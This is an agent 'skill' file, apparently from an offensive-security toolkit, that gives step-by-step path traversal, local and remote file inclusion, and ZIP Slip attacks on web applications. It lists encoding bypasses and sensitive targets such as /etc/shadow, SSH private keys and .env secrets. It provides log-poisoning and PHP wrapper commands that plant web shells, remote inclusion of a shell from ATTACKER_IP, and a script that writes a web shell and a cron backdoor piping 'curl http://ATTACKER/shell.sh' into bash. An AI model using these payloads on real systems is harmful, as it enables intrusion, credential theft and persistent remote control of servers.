---
name: rt-path-traversal
description: "Path traversal, Local File Inclusion (LFI), and Remote File Inclusion (RFI) skill for authorized engagements. Directory traversal to /etc/passwd, LFI via PHP wrappers, LFI to RCE via log poisoning and /proc/self/environ, ZIP slip file upload attacks, null byte injection, encoding bypasses, and RFI for remote code execution. Use when applications load files based on user input."
---

# rt-path-traversal — Path Traversal, LFI & RFI

## Overview

Path traversal and file inclusion vulnerabilities let attackers read arbitrary files (LFI) or include remote malicious code (RFI) by manipulating file path parameters. LFI escalates to RCE via log poisoning, PHP wrappers, or /proc pseudo-filesystem abuse.

---

## Phase 1 — Path Traversal Detection

```bash
# Basic traversal
https://target.com/download?file=../../../etc/passwd
https://target.com/view?page=../../../../etc/shadow
https://target.com/load?template=../../config.php

# Encoding bypasses
../             → %2e%2e%2f
../             → ..%2f
../             → %2e%2e/
../             → ....//          (double dot slash)
../             → ..%252f         (double URL encode)
../             → ..%c0%af        (overlong UTF-8)

# Null byte (bypass file extension check in old PHP)
?file=../../../../etc/passwd%00.png
# PHP < 5.3: %00 truncates string → .png ignored

# Automated with ffuf
ffuf -u "https://target.com/file?name=FUZZ" \
  -w /opt/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt \
  -mr "root:x\|\\[boot loader\\]"
```

---

## Phase 2 — LFI Sensitive File Targets

```bash
# Linux
/etc/passwd           # User accounts
/etc/shadow           # Password hashes (root only)
/etc/hosts            # Internal hostnames
/etc/crontab          # Scheduled tasks
/proc/self/environ    # Environment variables (may have DB passwords)
/proc/self/cmdline    # Current process command line
/proc/self/fd/        # Open file descriptors
/var/log/apache2/access.log   # Apache access log (for log poisoning)
/var/log/nginx/access.log     # Nginx access log
/var/log/auth.log             # SSH auth logs
/var/mail/www-data            # Mail spool
/home/user/.ssh/id_rsa        # SSH private key
/home/user/.bash_history      # Command history
/var/www/html/.env            # Laravel/Symfony secrets
/var/www/html/config.php      # App database credentials

# Windows
C:\Windows\win.ini
C:\Windows\System32\drivers\etc\hosts
C:\inetpub\wwwroot\web.config
C:\xampp\apache\logs\access.log
C:\wamp\logs\access.log
C:\Users\Administrator\Desktop\
```

---

## Phase 3 — LFI to RCE

```bash
# Method 1: Apache/Nginx Log Poisoning
# Step 1: Inject PHP into User-Agent (written to access.log)
curl "https://target.com/" -A "<?php system(\$_GET['cmd']); ?>"

# Step 2: Include the log file
https://target.com/page?file=/var/log/apache2/access.log&cmd=id
# PHP executes the shell code in the log

# Method 2: /proc/self/environ
# Set PHP in User-Agent
curl "https://target.com/" -A "<?php system(\$_GET['c']); ?>"
# Include environ
https://target.com/page?file=/proc/self/environ&c=id

# Method 3: SSH Log Poisoning
# SSH as: ssh '<?php system($_GET["cmd"]); ?>'@target.com
# Include: /var/log/auth.log

# Method 4: PHP Wrappers
# php://filter — read PHP source
https://target.com/page?file=php://filter/convert.base64-encode/resource=config.php

# php://input — execute POST body as PHP (requires allow_url_include)
curl "https://target.com/page?file=php://input" -d "<?php system('id'); ?>"

# data:// wrapper — include inline PHP
https://target.com/page?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg==
# base64 of: <?php system('id'); ?>

# phar:// — PHP archive code execution
# Create phar with PHP payload
php -r "
\$p = new Phar('shell.phar');
\$p['shell.php'] = '<?php system(\$_GET[\"c\"]); ?>';
\$p->stopBuffering();
"
# Upload phar as image (phar magic bytes don't look like PHP)
# Include: ?file=phar://uploads/shell.phar/shell.php&c=id
```

---

## Phase 4 — RFI (Remote File Inclusion)

```bash
# Requires: allow_url_include = On in PHP (less common now)
# Host malicious PHP
echo '<?php system($_GET["c"]); ?>' > shell.txt
python3 -m http.server 8080

# Include remote file
https://target.com/page?file=http://ATTACKER_IP:8080/shell.txt&c=id

# SMB-based RFI (Windows targets)
# Host share: smbserver.py -smb2support share /tmp/
https://target.com/page?file=\\ATTACKER_IP\share\shell.php&c=whoami
```

---

## Phase 5 — ZIP Slip / Archive Path Traversal

```python
# Malicious ZIP with path traversal in filename
import zipfile

with zipfile.ZipFile("zipslip.zip", "w") as z:
    # Traverse to webroot
    z.writestr("../../var/www/html/shell.php",
               "<?php system($_GET['c']); ?>")
    z.writestr("../../etc/cron.d/backdoor",
               "* * * * * root curl http://ATTACKER/shell.sh | bash")

# Upload → server extracts → shell.php written to webroot
curl https://target.com/upload -F "archive=@zipslip.zip"
curl https://target.com/shell.php?c=id
```

---

## Skill Levels

**BEGINNER:** Basic ../ traversal for /etc/passwd · PHP filter wrapper for source read

**INTERMEDIATE:** Log poisoning for LFI→RCE · php://input execution · ZIP Slip

**ADVANCED:** phar:// deserialization · /proc/ exploitation · Encoding bypass chains

**EXPERT:** Blind LFI detection via timing · Custom encoding chains · LFI in binary protocols

---

## References

- PortSwigger Path Traversal: https://portswigger.net/web-security/file-path-traversal
- PayloadsAllTheThings LFI: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion
- LFI to RCE techniques: https://www.hackingarticles.in/comprehensive-guide-to-local-file-inclusion/
